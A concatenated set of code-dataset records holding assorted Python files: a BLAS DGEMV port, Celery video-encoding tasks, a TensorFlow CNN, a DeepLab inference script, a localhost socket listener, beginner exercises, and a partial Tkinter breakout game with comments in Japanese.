\\endverbatim\n# >\n# > \\param[in] INCY\n# > \\verbatim\n# > INCY is INTEGER\n# > On entry, INCY specifies the increment for the elements of\n# > Y. INCY must not be zero.\n# > \\endverbatim\n#\n# Authors:\n# ========\n#\n# > \\author Univ. of Tennessee\n# > \\author Univ. of California Berkeley\n# > \\author Univ. of Colorado Denver\n# > \\author NAG Ltd.\n#\n# > \\date December 2016\n#\n# > \\ingroup double_blas_level2\n#\n# > \\par Further Details:\n# =====================\n# >\n# > \\verbatim\n# >\n# > Level 2 Blas routine.\n# > The vector and matrix arguments are not referenced when N = 0, or M = 0\n# >\n# > -- Written on 22-October-1986.\n# > Jack Dongarra, Argonne National Lab.\n# > Jeremy Du Croz, Nag Central Office.\n# > Sven Hammarling, Nag Central Office.\n# > Richard Hanson, Sandia National Labs.\n# > \\endverbatim\n# >\n# =====================================================================\nfrom util import lsame\nfrom xerbla import xerbla\n\n\ndef DGEMV(TRANS, M, N, ALPHA, A, LDA, X, INCX, BETA, Y, INCY):\n #\n # -- Reference BLAS level2 routine (version 3.7.0) --\n # -- Reference BLAS is a software package provided by Univ. of Tennessee, --\n # -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..--\n # December 2016\n #\n # .. Scalar Arguments ..\n # DOUBLE PRECISION ALPHA,BETA\n # INTEGER INCX,INCY,LDA,M,N\n # CHARACTER TRANS\n # ..\n # .. Array Arguments ..\n # DOUBLE PRECISION A(LDA,*),X(*),Y(*)\n # ..\n #\n # =====================================================================\n #\n # .. Parameters ..\n # DOUBLE PRECISION ONE,ZERO\n # PARAMETER (ONE=1.0D+0,ZERO=0.0D+0)\n # ..\n # .. Local Scalars ..\n # DOUBLE PRECISION TEMP\n # INTEGER I,INFO,IX,IY,J,JX,JY,KX,KY,LENX,LENY\n # ..\n # .. External Functions ..\n # LOGICAL LSAME\n # EXTERNAL LSAME\n # ..\n # .. External Subroutines ..\n # EXTERNAL XERBLA\n # ..\n # .. Intrinsic Functions ..\n # INTRINSIC MAX\n # ..\n\n # Test the input parameters.\n INFO = 0\n if not lsame(TRANS, \"N\") and not lsame(TRANS, \"T\") and not lsame(TRANS, \"C\"):\n INFO = 1\n elif M < 0:\n INFO = 2\n elif N < 0:\n INFO = 3\n elif LDA < max(1, M):\n INFO = 6\n elif INCX == 0:\n INFO = 8\n elif INCY == 0:\n INFO = 11\n if INFO != 0:\n xerbla(\"DGEMV \", INFO)\n return\n\n # Quick return if possible.\n if (M == 0) or (N == 0) or ((ALPHA == 0) and (BETA == 1)):\n return\n #\n # Set LENX and LENY, the lengths of the vectors x and y, and set\n # up the start points in X and Y.\n #\n if lsame(TRANS, \"N\"):\n LENX = N\n LENY = M\n else:\n LENX = M\n LENY = N\n if INCX > 0:\n KX = 1\n else:\n KX = 1 - (LENX - 1) * INCX\n if INCY > 0:\n KY = 1\n else:\n KY = 1 - (LENY - 1) * INCY\n #\n # Start the operations. In this version the elements of A are\n # accessed sequentially with one pass through A.\n #\n # First form y := beta*y.\n if INCY > 0:\n Y[: LENY * INCY : INCY] *= BETA\n else:\n Y[-(LENY - 1) * INCY :: INCY] *= BETA\n\n if ALPHA == 0:\n return\n if lsame(TRANS, \"N\"):\n # Form y := alpha*A*x + y.\n JX = KX\n if INCY == 1:\n for J in range(N):\n Y[:M] += ALPHA * X[JX] * A[:M, J]\n JX += INCX\n else:\n for J in range(N):\n TEMP = ALPHA * X[JX]\n IY = KY\n for I in range(M):\n Y[IY] += TEMP * A[I, J]\n IY += INCY\n JX += INCX\n else:\n # Form y := alpha*A**T*x + y.\n JY = KY\n if INCX == 1:\n for J in range(N):\n Y[JY] += ALPHA * (A[:M, J] * X[:M]).sum()\n JY += INCY\n else:\n for J in range(N):\n TEMP = 0\n IX = KX\n for I in range(M):\n TEMP += A[I, J] * X[IX]\n IX += INCX\n Y[JY] += ALPHA * TEMP\n JY += INCY\n","sub_path":"pyblas/level2/dgemv.py","file_name":"dgemv.py","file_ext":"py","file_size_in_byte":7662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"612293427","text":"# vim: set ts=8 sw=4 sts=4 et ai:\nimport logging\nlog = logging.getLogger(__name__)\nfrom celery.task import subtask, task, TaskSet\nfrom celery.result import TaskSetResult\n\n\nfrom osso.videmus.models import Video, VideoFile, VideoSetting\nfrom osso.videmus.utils import encode_video as real_encode_video\n\n\n@task\ndef join_taskset(setid, callback, interval=10, max_retries=None, propagate=True):\n '''\n Task to poll if the TaskSet ``setid`` has finished.\n\n Pass results of the TaskSet to ``callback``.\n '''\n result = TaskSetResult.restore(setid)\n if result.ready():\n return subtask(callback).delay(result.join(propagate=propagate))\n join_taskset.retry(countdown=interval, max_retries=max_retries)\n\n\n@task(ignore_result=True)\ndef encode_video(cls, video_pk):\n '''\n Task to encode a ``Video`` into one ore more ``VideoFile``'s.\n '''\n try:\n video_obj = cls.objects.get(pk=video_pk)\n except cls.DoesNotExist:\n # video was removed\n return\n\n filecls = video_obj.videofile_set.model\n\n files = list(video_obj.videofile_set.all())\n\n if video_obj.is_encoded and all(vfile.is_encoded for vfile in files):\n # video has been processed\n return\n\n video = video_obj.video\n\n # a video is required to meet requirments\n # to be encoded in specific a resolution\n if len(files) == 0:\n for setting in VideoSetting.objects.all():\n if video.width >= setting.width or video.height >= setting.height:\n vfile = filecls.objects.create(original=video_obj,\\\n format=setting.format,\\\n width=setting.width, height=setting.height)\n files.append(vfile)\n log.info('%r can be encoded to %r' % (video, setting))\n\n tasks = []\n for vfile in files:\n if vfile.is_encoded:\n continue\n if vfile.width > 600 or vfile.height > 300:\n encode_video_file.delay(filecls, vfile.pk)\n else:\n task = encode_video_file_quick.subtask(args=(filecls, vfile.pk))\n tasks.append(task)\n\n # create a taskset of the quick encodings\n job = TaskSet(tasks=tasks)\n result = job.apply_async()\n result.save()\n\n # start the publish_video callback when the taskset completes\n callback = publish_video.subtask(args=(cls, video_pk))\n # max_tries has to be set otherwise it uses the default\n # check every 60 seconds if the set has completed\n join_taskset.delay(result.taskset_id, callback, interval=60, max_retries=300, propagate=False)\n\n\n# these tasks are identical except for what they process.\n# by putting quick encodes into a separate task we can\n# put them in a separate queue.\n# This will avoid the situation where all active tasks\n# are high quality encodes.\n@task\ndef encode_video_file_quick(cls, vfile_pk):\n # call the function below directly\n return encode_video_file(cls, vfile_pk)\n\n\n@task\ndef encode_video_file(cls, vfile_pk):\n '''\n Encode ``original`` to VideoFile ``vfile_pk``.\n '''\n try:\n vfile = cls.objects.get(pk=vfile_pk)\n except cls.DoesNotExist:\n # VideoFile was removed\n return False\n return real_encode_video(vfile.original, vfile)\n\n\n@task(ignore_result=True)\ndef publish_video(results, cls, video_pk):\n '''\n Publish Video ``video_pk`` if encoding was successful.\n '''\n try:\n video = cls.objects.get(pk=video_pk)\n except cls.DoesNotExist:\n return\n\n log.debug('publication of %r: %r' % (video, results))\n\n if len([r for r in results if r == True]) == len(results):\n video.is_encoded = True\n video.save()\n log.info('quick encoding of %r completed' % video)\n else:\n log.error('quick encoding of %r failed: %r' % (video, results))\n","sub_path":"osso/videmus/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"409982068","text":"from Initialisation import *\n\npts_manaB = 3 # manas initiaux\npts_manaR = 1 # manas adverses\n\nTERRAIN1_PLACE = 0\nTERRAIN2_PLACE = 0\n\nTABLEAU = 0\n\npioche = 1\ninvoc = 1\n\nrecommencer = 0\npage = 0\n\n# creation du deck\nserviteurs = {}\n\nwith open(\"Ressources\\cartes_persos.txt\") as fichier:\n for ligne in fichier:\n if ligne[0] == \"#\": continue\n\n ligne = ligne.replace('\\n', \"\")\n\n nom = \"\"\n atk = 0\n pv = 0\n mana = 0\n classe = 0\n\n partie = 0\n\n for caractere in ligne:\n if caractere == \":\":\n partie += 1\n continue\n\n elif partie == 0: nom += caractere\n\n elif partie == 1: atk = int(caractere)\n\n elif partie == 2: pv = int(caractere)\n\n elif partie == 3: mana = int(caractere)\n\n elif partie == 4: classe = int(caractere)\n\n personnage = {\"Nom\": nom, \"Atk\": atk, \"PDV\": pv, \"Mana\": mana, \"Classe\": classe}\n\n serviteurs[nom] = personnage\n\n# creation terrains\nterrain1 = [0, 0, 0, 0, 0]\nterrain2 = [0, 0, 0, 0, 0]\nterrain1_rect = []\nterrain2_rect = []","sub_path":"Project/Variables.py","file_name":"Variables.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"226885137","text":"#!/bin/python3\r\n\r\nimport os\r\nimport sys\r\n\r\n\r\n#\r\n# Complete the timeConversion function below.\r\n#\r\ndef timeConversion(s):\r\n x = s.split(\":\")\r\n ampm = x[2][2:4]\r\n\r\n if ampm == 'AM':\r\n hr = x[0]\r\n if hr == '12':\r\n hr = \"00\"\r\n\r\n min = x[1]\r\n sec = x[2][0:2]\r\n return hr + \":\" + min + \":\" + sec\r\n else:\r\n hr = x[0]\r\n if hr == '12':\r\n pass\r\n else:\r\n hr = str(int(x[0]) + 12)\r\n min = x[1]\r\n sec = x[2][0:2]\r\n return hr + \":\" + min + \":\" + sec\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n s = input()\r\n print(timeConversion(s))\r\n\r\n","sub_path":"Hack_conversion_time.py","file_name":"Hack_conversion_time.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"294329826","text":"\"\"\" 2. Для списка реализовать обмен значений соседних элементов, т.е.\n# Значениями обмениваются элементы с индексами 0 и 1, 2 и 3 и т.д.\n# При нечетном количестве элементов последний сохранить на своем месте.\n# Для заполнения списка элементов необходимо использовать функцию input(). \"\"\"\nlst=[]\n\nwhile True :\n a = input(\"Input list value(*to stop typing enter 'end'): \")\n if a != 'end' :\n lst.append(a)\n else: break\n\nx = 0\nwhile x<= len(lst)-2 :\n lst[x], lst[x+1] = lst[x+1], lst[x]\n x += 2\n\nprint(lst)","sub_path":"HW/Les2/hw2_2.py","file_name":"hw2_2.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"545275662","text":"import tensorflow as tf\nimport numpy as np\nfrom board import *\n \n#####################################################################\nclass CNN_Train(object): # CNN for training\n @staticmethod\n def NN_state_to_win_prob(state): # state: placeholder (with batch size)\n init_var = tf.random_normal_initializer(stddev = 0.0001)\n \n # 1st convolution (w/o pooling) layer\n W_conv1 = tf.get_variable(\"W_conv1\", [3,3,3,30], initializer=init_var)\n b_conv1 = tf.get_variable(\"b_conv1\", [30], initializer=init_var)\n \n conv1 = tf.nn.conv2d(state, W_conv1, strides = [1,1,1,1], padding='SAME')\n out1 = tf.nn.relu(conv1 + b_conv1)\n\n # 2nd convolution (w/o pooling) layer\n W_conv2 = tf.get_variable(\"W_conv2\", [3,3,30,50], initializer=init_var)\n b_conv2 = tf.get_variable(\"b_conv2\", [50], initializer=init_var)\n\n conv2 = tf.nn.conv2d(out1, W_conv2, strides = [1,1,1,1], padding='SAME')\n out2 = tf.nn.relu(conv2 + b_conv2)\n\n # 3rd convolution (w/o pooling) layer\n W_conv3 = tf.get_variable(\"W_conv3\", [3,3,50,70], initializer=init_var)\n b_conv3 = tf.get_variable(\"b_conv3\", [70], initializer=init_var)\n\n conv3 = tf.nn.conv2d(out2, W_conv3, strides = [1,1,1,1], padding='SAME')\n out3 = tf.nn.relu(conv3 + b_conv3)\n \n # 1st full-connection layer\n Nr, Nc = N, N\n W_fc1 = tf.get_variable(\"W_fc1\", [Nr*Nc*70,100], initializer=init_var)\n b_fc1 = tf.get_variable(\"b_fc1\", [100], initializer=init_var)\n\n out3 = tf.reshape(out3, [-1, Nr*Nc*70])\n fc1 = tf.nn.relu(tf.matmul(out3, W_fc1) + b_fc1)\n \n # 2nd full-connection layer\n W_fc2 = tf.get_variable(\"W_fc2\", [100,3], initializer=init_var)\n b_fc2 = tf.get_variable(\"b_fc2\", [3], initializer=init_var)\n\n # estimation for unnormalized log prob\n Y = tf.matmul(fc1, W_fc2) + b_fc2 \n # estimation for prob\n P = tf.nn.softmax(Y, name=\"softmax\")\n return Y, P\n \n def __init__(self, S, W, var_scope):\n alpha = 0.0025\n Nr, Nc = N, N\n self.S_in = tf.placeholder(tf.float32, shape=[None, Nr,Nc,3])\n self.W_in = tf.placeholder(tf.int32, shape=[None])\n\n with tf.variable_scope(var_scope):\n Y, self.P = CNN_Train.NN_state_to_win_prob(self.S_in)\n # target in one-hot vector\n Y_target = tf.one_hot(self.W_in, 3, name=\"Y_target\")\n # cost function & optimizer\n self.loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(logits=Y, labels=Y_target))\n var = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=var_scope)\n # L2 regularization\n for i in range(len(var)): self.loss += 0.0001 * tf.nn.l2_loss(var[i])\n self.optimizer = tf.train.RMSPropOptimizer(alpha).minimize(self.loss, var_list=var)\n \n self.sess = tf.Session()\n self.sess.run(tf.global_variables_initializer())\n self.__train(S, W)\n tf.train.Saver().save(self.sess, \"./model/\" + var_scope + \".ckpt\")\n \n def __train(self, S, W): # accessible only by the constructor\n epoch = 10\n size_batch = 1024\n\n data_index = np.arange(len(W))\n np.random.shuffle(data_index)\n \n for i_epoch in range(epoch):\n num_batches = int(np.ceil(len(W) / float(size_batch)))\n loss = 0\n for i_batches in range(num_batches):\n i_start = i_batches * size_batch\n i_end = min((i_batches+1)*size_batch, len(W))\n indices = data_index[np.arange(i_start, i_end)]\n d = {self.S_in: S[indices], self.W_in: W[indices]}\n self.sess.run(self.optimizer, feed_dict=d)\n loss += self.sess.run(self.loss, feed_dict=d)\n print (\"[CNN_Train] Epoch:\", i_epoch, \" | Loss:\", loss)\n \n def win_prob(self, state, player):\n W = self.sess.run(self.P, feed_dict={self.S_in:[state]})\n return W[0][player]\n #return W[0][player] + W[0][DRAW]/2.0\n \n def best_state(self, states, player, show_prob=False):\n W = self.sess.run(self.P, feed_dict={self.S_in:states})\n return W[:,player].argmax()\n #return (W[:,player] + W[:,DRAW]/2.0).argmax()\n \n#####################################################################\nclass CNN_Test(object): # CNN for testing a trained DQN\n def __init__(self, var_scope):\n Nr, Nc = N, N\n self.S_in = tf.placeholder(tf.float32, shape=[None, Nr,Nc,3])\n\n with tf.variable_scope(var_scope):\n _, self.P = CNN_Train.NN_state_to_win_prob(self.S_in)\n \n self.sess = tf.Session()\n tf.train.Saver().restore(self.sess, \"./model/\" + var_scope + \".ckpt\")\n \n def win_prob(self, state, player):\n W = self.sess.run(self.P, feed_dict={self.S_in:[state]})\n return W[0][player]\n #return W[0][player] + W[0][DRAW]/2.0\n\n def best_state(self, states, player, show_prob=False):\n W = self.sess.run(self.P, feed_dict={self.S_in:states})\n if show_prob:\n print (W[:,player])\n print (W[:,player].max())\n return W[:,player].argmax()\n #return (W[:,player] + W[:,DRAW]/2.0).argmax()\n","sub_path":"code/L08/go_hw/CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":5329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"161165965","text":"\n\nfrom xai.brain.wordbase.verbs._disembark import _DISEMBARK\n\n#calss header\nclass _DISEMBARKING(_DISEMBARK, ):\n\tdef __init__(self,): \n\t\t_DISEMBARK.__init__(self)\n\t\tself.name = \"DISEMBARKING\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"disembark\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_disembarking.py","file_name":"_disembarking.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"481522329","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Logger is also the first to filter the message based on a level — if you set the logger to INFO, and all handlers to DEBUG, you still won't receive DEBUG messages on handlers — they'll be rejected by the logger itself. If you set logger to DEBUG, but all handlers to INFO, you won't receive any DEBUG messages either — because while the logger says \"ok, process this\", the handlers reject it (DEBUG < INFO).\n\n\n# 验证\nimport logging\n\nform = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s -%(module)s: %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S %p', )\n\n# ch = 12_logging.StreamHandler(\"test.log\",encoding=\"utf-8\")\nch = logging.FileHandler(\"test.log\", encoding=\"utf-8\")\n\nch.setFormatter(form)\n# ch.setLevel(10)\nch.setLevel(20)\n\nl1 = logging.getLogger('root')\n# l1.setLevel(20)\nl1.setLevel(10)\nl1.addHandler(ch)\n\nl1.debug('l1 debug')\nl1.info('l1 info')\n\n# 重要,重要,重要!!!\n","sub_path":"05_常用模块/12_logging/Logger与Handler的级别.py","file_name":"Logger与Handler的级别.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"238020916","text":"print(\"Entre your string\")\nprint(\"PRESS X FOR EXIT\")\nstring = input(\"Entre any string to count character\")\nif string=='X':\n exit();\nelse:\n char=input(\"entre your character to be searched\")\n val=string.count(char)\n print(\"Frequency=\",val)\n\n\n\n","sub_path":"Random Python Programs/FrequencyCount.py","file_name":"FrequencyCount.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"527341733","text":"import urllib.request as req\nprint(\"Homework 1----------------------------------\")\npersonInformation = {\n \"name\": \"QiQi Chen\",\n \"sex\": \"man\",\n \"age\": \"18\"\n}\nprint(personInformation)\n\nprint(\"Homework 2--------------------------\")\nnames = []\nflag = {}\nfor i in range(10):\n names.append(input())\n flag[names[i][0]] = 1\nfor key in flag:\n print(key)\nprint(\"HomeWork3--------------------------------\")\n# 1.哪些网站可以访问?\n# 可以进行浏览器直接访问的网站,一般爬虫可以访问\n# 2.哪些网站不能访问?\n# 在国外的被墙的网站,且爬虫没有设置代理的不能访问\n# 有反爬虫限制的,没有进行头伪造的不能访问\n# 需要登录的,没有模拟登录的爬虫不能访问\n# 3.为什么?\n# 一般 所见即为所得,\n# 爬虫可以爬到的数据的前提是浏览器可以直接访问\n# 这样让爬虫模拟用户操作才有可能访问到用户访问的数据\nresponse = req.urlopen(\"http://www.baidu.com\")\ntext = response.read()\nprint(text)\nresponse = req.urlopen(\"https://www.google.com/\")\ntext = response.read()\nprint(text)\n\n","sub_path":"day_01_homework.py","file_name":"day_01_homework.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"632246146","text":"import os\nimport io\nimport time\nimport requests\nimport concurrent\nimport pandas as pd\nimport tensorflow as tf\n\n\n__all__ = ['ICCV2013', 'ICCV2015', 'ICCV2017'\n ]\n\ndef _download(path):\n tf.keras.utils.get_file(os.path.join(path.split('|')[0], path.split('|')[1].split('/')[-1]), path.split('|')[1])\n\ndef ICCV2017(root):\n \"\"\"ICCV2017 datasets from http://openaccess.thecvf.com/ICCV2017.py.\n \n ICCV2017 datasets includes 621 papers.\n \n Data storage directory:\n root = `/user/.../mydata`\n ICCV2017 data: \n `root/ICCV2017/...`\n Args:\n root: str, Store the absolute path of the data directory.\n example:if you want data path is `/user/.../mydata/ICCV2017`,\n root should be `/user/.../mydata`.\n Returns:\n Store the absolute path of the data directory, is `root/ICCV2017`.\n \"\"\"\n start = time.time()\n _get_paper('ICCV2017', root,\n url='https://raw.githubusercontent.com/Hourout/datasets/master/paper/ICCV/iccv2017.txt')\n print('ICCV2017 dataset download completed, run time %d min %.2f sec' %divmod((time.time()-start), 60))\n return task_path\n\ndef ICCV2015(root):\n \"\"\"ICCV2015 datasets from http://openaccess.thecvf.com/ICCV2015.py.\n \n ICCV2015 datasets includes 526 papers.\n \n Data storage directory:\n root = `/user/.../mydata`\n ICCV2015 data: \n `root/ICCV2015/...`\n Args:\n root: str, Store the absolute path of the data directory.\n example:if you want data path is `/user/.../mydata/ICCV2015`,\n root should be `/user/.../mydata`.\n Returns:\n Store the absolute path of the data directory, is `root/ICCV2015`.\n \"\"\"\n start = time.time()\n _get_paper('ICCV2015', root,\n url='https://raw.githubusercontent.com/Hourout/datasets/master/paper/ICCV/iccv2015.txt')\n print('ICCV2015 dataset download completed, run time %d min %.2f sec' %divmod((time.time()-start), 60))\n return task_path\n\ndef ICCV2013(root):\n \"\"\"ICCV2013 datasets from http://openaccess.thecvf.com/ICCV2013.py.\n \n ICCV2013 datasets includes 455 papers.\n \n Data storage directory:\n root = `/user/.../mydata`\n ICCV2013 data: \n `root/ICCV2013/...`\n Args:\n root: str, Store the absolute path of the data directory.\n example:if you want data path is `/user/.../mydata/ICCV2013`,\n root should be `/user/.../mydata`.\n Returns:\n Store the absolute path of the data directory, is `root/ICCV2013`.\n \"\"\"\n start = time.time()\n _get_paper('ICCV2013', root,\n url='https://raw.githubusercontent.com/Hourout/datasets/master/paper/ICCV/iccv2013.txt')\n print('ICCV2013 dataset download completed, run time %d min %.2f sec' %divmod((time.time()-start), 60))\n return task_path\n","sub_path":"tensordata/paper/ICCV/_iccv.py","file_name":"_iccv.py","file_ext":"py","file_size_in_byte":2826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"252727485","text":"import torch\nimport os\nfrom PIL import Image\nfrom modeling.deeplab import *\nimport numpy as np\nimport torchvision.transforms as transforms\n# from dataloaders import custom_transforms as tr\n\ncuda = True\nresume = 'deeplab-resnet.pth.tar'\ngpu_ids = 1\nvideo = 'dog'\n# test = False\ntest = True\n\nmodel = DeepLab(num_classes=21,\n backbone='resnet',\n output_stride=16,\n sync_bn=None,\n freeze_bn=False)\n\ntry:\n os.mkdir('results/{}_demo'.format(video))\nexcept :\n pass\n\n\nif cuda:\n model.to('cuda')\n # torch.nn.DataParallel(model, device_ids=gpu_ids)\nmodel.eval()\n\ncheckpoint = torch.load(resume)\n\n# if cuda:\n# model.module.load_state_dict(checkpoint['state_dict'])\n# else:\nmodel.load_state_dict(checkpoint['state_dict'])\n\n\nfor idx in range(40):\n #read image from DAVIS\n demo_img = '/home/cly/dataset/DAVIS/JPEGImages/480p/{}/{:05}.jpg'.format(video, idx)\n\n img = np.array(Image.open(demo_img), np.float32)\n\n # trans = transforms.Compose([\n # transforms.FixScaleCrop(crop_size=self.args.crop_size),\n # tr.Normalize(mean=(0.485, 0.456, 0.406), std=(0.229, 0.224, 0.225)),\n # tr.ToTensor()])\n\n # img = trans(img)\n img /= 255\n img -= (0.485, 0.456, 0.406)\n img /= (0.229, 0.224, 0.225)\n\n img = transforms.ToTensor()(img).to('cuda')\n img = img.unsqueeze(0)\n\n # print(img.size())\n\n # input = torch.rand(1, 3, 840, 540).to('cuda')\n output = model(img)\n # print(output)\n\n output = torch.sigmoid(output)\n\n output = output.squeeze().detach().to('cpu').numpy()\n\n\n if test:\n\n for i in range(output.shape[0]):\n result = output[i]\n print('result ', i)\n print(result)\n\n result *= 255\n result = result.astype(np.uint8)\n\n Image.fromarray(result).save('./results/{}_demo/{:03}.png'.format(video, i))\n else:\n type = 12\n result = output[type]\n\n result *= 255\n result = result.astype(np.uint8)\n Image.fromarray(result).save('./results/videos/{}-{:03}.jpg'.format(video, idx))\n\n\n\n\n\n\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"322903201","text":"#!/usr/bin/env python\nimport socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind(('127.0.0.1', 8080))\ns.listen(1)\nwhile True:\n try:\n client, addr = s.accept()\n r = client.recv(2048)\n client.close()\n print(r.decode('utf-8'))\n except Exception:\n s.close()\n break\ns.close()","sub_path":"lesson12/socket_server.py","file_name":"socket_server.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"406199001","text":"# 20K1026 日比野将己\n# 練習問題 3-1-3\n# --------------------------\n# プログラム名: ex03-blocks.py\n\nfrom tkinter import *\nfrom dataclasses import dataclass\nimport random\nimport time\n\n# 初期状態の設定\nSPEEDS = [-3, -2, -1, 1, 2, 3, 4] # ボールのx方向初速選択肢\nBLOCKS_X = [150, 250, 350, 400] # ブロックのx座標のリスト\nBLOCKS_Y = [300, 100, 200, 300] # ブロックのy座標のリスト\nBLOCKS_W = [40, 40, 40, 40] # ブロックの幅のリスト\nBLOCKS_H = [30, 30, 30, 30] # ブロックの高さのリスト\nDURATION = 0.01 # 描画間隔(秒)\nBALL_X0 = 400 # ボールの初期位置(x)\nBALL_Y0 = 100 # ボールの初期位置(y)\nPADDLE_X0 = 350 # パドルの初期位置(x)\nPADDLE_Y0 = 500 # パドルの初期位置(y)\nPADDLE_VX = 5 # パドルの速度\nWALL_X0 = 100 # 外枠のx座標\nWALL_Y0 = 50 # 外枠のy座標\nWALL_W = 400 # 外枠の幅\nWALL_H = 500 # 外枠の高さ\n\nBALL_VX = random.choice(SPEEDS) # ボールのx方向初速\nBALL_VY = 0 # ボールのy方向初速\n\nGRAVITY =0.05 # 重力加速度\nREACTION = 1.01 # 反発係数\n\ncount1 = 0 # ブロックのx座標を判定する count\ncount2 = 0 # ブロックのy座標を判定する count\nbefore = 0\n\n# 変える色を用意する。\nCOLORS = [\"blue\", \"red\", \"green\", \"yellow\", \"brown\", \"gray\"]\n\n\n# -------------------------\n@dataclass\nclass Ball:\n id: int\n x: int\n y: int\n vx: int\n vy: int\n d: int\n c: str\n\n\n@dataclass\nclass Paddle:\n id: int\n x: int\n y: int\n w: int\n h: int\n vx: int\n c: str\n\n\n@dataclass\nclass Wall:\n x: int\n y: int\n w: int\n h: int\n\n\n@dataclass\nclass Block:\n x: int\n y: int\n w: int\n h: int\n\n\n# -------------------------\n\ndef make_wall(wall): # 外枠を作る関数\n global canvas\n canvas.create_rectangle(wall.x, wall.y, wall.x + wall.w, wall.y + wall.h, width=10) # 外枠\n canvas.create_line(WALL_X0, PADDLE_Y0, WALL_X0 + 50, PADDLE_Y0, width=10) # パドルの左の出っ張り\n canvas.create_line(WALL_X0 + WALL_W, PADDLE_Y0, WALL_X0 + WALL_W - 50, PADDLE_Y0, width=10) # パドルの右の出っ張り\n\n\ndef make_block(block, c=\"Blue\"): # ブロックを作る関数\n global canvas\n canvas.create_rectangle(block.x, block.y, block.x + block.w, block.y + block.h, fill=c, outline=c) # ブロック作成\n\n\ndef block_judge(block): # ブロックに当たったかを判定する関数\n global canvas, count1, count2,before\n if ball.x + ball.d > block.x and ball.x < block.x + block.w: # もしブロックの上か下にボールがあれば\n count1 = 1 # count1 を1にする\n else:\n count1 = 0 # その他は 0\n if ball.y + ball.d > block.y and ball.y < block.y + block.h and count1 == 1: # count1 が1で、ボールがブロックの上か下に当たれば\n ball.vy = -ball.vy # y方向に反射させる\n\n if ball.y + ball.d >= block.y and ball.y <= block.y + block.h: # もしブロックの左か右にボールがあれば\n count2 = 1 # count2 を1にする\n else:\n count2 = 0 # その他は 0\n if ball.x + ball.d >= block.x and ball.x <= block.x + block.w and count2 == 1: # count2 が1で、ボールがブロックの左か右に当たれば\n ball.vx = -ball.vx # x 方向に反射させる\n\n # このようにそれぞれを完全に独立しておかないとお互い競合して vx と vy が両方変わって、当たったほうに戻っちゃう\n\n\n# ball\n# ボールの描画・登録\ndef make_ball(x, y, vx, vy, d=3, c=\"black\"): # ボールを作る関数\n global canvas\n id = canvas.create_oval(x, y, x + d, y + d,\n fill=c, outline=c) # 初期位置を id として保存\n return Ball(id, x, y, vx, vy, d, c) # Ballクラスに id を加えて返す\n\n\n# ボールの移動\ndef move_ball(ball): # ボールの移動関数\n ball.x += ball.vx # x 座標を vx 分移動させる\n ball.vy += GRAVITY # vy に重力加速度を付加\n ball.y += ball.vy # y 座標を vy 分移動させる\n\n\n# ボールの再描画\ndef redraw_ball(ball): # ボール再描写関数\n canvas.coords(ball.id, ball.x, ball.y,\n ball.x + ball.d, ball.y + ball.d) # id の値を書き換える\n\n\n# -------------------------\n# paddle\n# パドルの描画・登録\ndef make_paddle(x, y, w=100, h=20, c=\"blue\"): # パドルを作る関数\n id = canvas.create_rectangle(x, y, x + w, y + h,\n fill=c, outline=c) # id に初期値を保存\n return Paddle(id, x, y, w, h, 0, c) # パドルクラスに id をいれて返す\n\n\n# パドルの移動(左右)\ndef move_paddle(pad): # パドルの移動関数\n pad.x += pad.vx # x 座標を vx 分移動させる\n\n\n# パドルの色を変える\ndef change_paddle_color(pad, c=\"red\"): # パドルの色を変える関数\n canvas.itemconfigure(pad.id, fill=c) # id の fill を c にする\n canvas.itemconfigure(pad.id, outline=c) # id の outline を c にする\n redraw_paddle(pad) # パドルを再描写する\n\n\n# パドルの再描画\ndef redraw_paddle(pad): # パドルの再描写関数\n canvas.coords(pad.id, pad.x, pad.y, pad.x + pad.w, pad.y + pad.h) # id の値を書き換える\n\n\n# -------------------------\n# パドル操作のイベントハンドラ\ndef left_paddle(event): # 速度を左向き(マイナス)に設定(左押された用)\n paddle.vx = -PADDLE_VX # パドルを左に移動させる\n\n\ndef right_paddle(event): # 速度を右向き(マイナス)に設定(右押された用)\n paddle.vx = PADDLE_VX # パドルを右に移動させる\n\n\ndef stop_paddle(event): # 速度をゼロに設定(何も押さない用)\n paddle.vx = 0 # パドルを止める\n\n\n# =================================================\ntk = 